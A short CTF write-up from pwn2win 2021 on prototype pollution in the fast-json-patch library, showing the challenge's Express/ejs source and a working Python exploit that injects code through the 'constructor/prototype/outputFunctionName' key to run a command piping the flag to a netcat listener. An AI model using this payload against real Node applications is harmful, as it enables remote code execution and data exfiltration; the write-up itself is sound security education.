In this post, I will explain how we can exploit a prototype pollution vulnerability in fast-json-patch library (version: 3.0.0-1), a library for updating the JSON document. I learned about this during the pwn2win CTF 2021.

Challenge

  1. We are given the source code for a node website that uses ejs and the fast-json-patch library.
  2. The source code for the index.js is as follows:
    const express = require('express')
    const bodyParser = require('body-parser')
    const jsonpatch = require('fast-json-patch')
    const ejs = require('ejs')
    const basicAuth = require('express-basic-auth')
    const app = express()
    // Middlewares //
    app.use(bodyParser.json())
    app.use(basicAuth({
     users: { "admin": process.env.SECRET || "admin" },
     challenge: true
    }))
    let services = {
     status: "online",
     cameras: "online",
     doors: "online",
     dome: "online",
     turrets: "online"
    }
    // Static folder
    app.use("/static", express.static(__dirname + "/static"));
    // Homepage
    app.get("/", async (req, res) => {
     const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
     res.end(html)
    })
    // API
    app.post("/change_status", (req, res) => {
     let patch = []
     Object.entries(req.body).forEach(([service, status]) => {
         if (service === "status"){
             res.status(400).end("Cannot change all services status")
             return
         }
         patch.push({
             "op": "replace",
             "path": "/" + service,
             "value": status
         })
     });
     jsonpatch.applyPatch(services, patch)
     if ("offline" in Object.values(services)){
         services.status = "offline"
     }
     res.json(services)
    })
    app.listen(1337, () => {
     console.log(`App listening at port 1337`)
    })   
    

Solution

import requests
URL="http://localhost:1337"
payload="x;console.log(1);process.mainModule.require('child_process').exec('./readflag | nc localhost 4444');x"

requests.post(URL + '/change_status', json = {
    "constructor/prototype/outputFunctionName": payload
    }, auth=('admin', 'admin')
)

requests.get(URL, auth=('admin', 'admin'))
  1. In the given source code, there is no validation being done for the JSON object that is passed to the POST request. This is the entry point for the vulnerability.
  2. The supplied input is passed on to the vulnerable applyPatch() function of the fast-json-patch library.
  3. In the solution script, any function called in the payload for the key “constructor/prototype/outputFunctionName” will be executed by the renderFile function in the given source code. So we use the readflag binary to read the flag and pass it back to us using the nc utility.
  4. To create a tunnel between your computer and the remote server, we can use the ngrock utility.
  5. A patch for this vulnerability has been submitted as a pull request.

More reading

  1. AST injection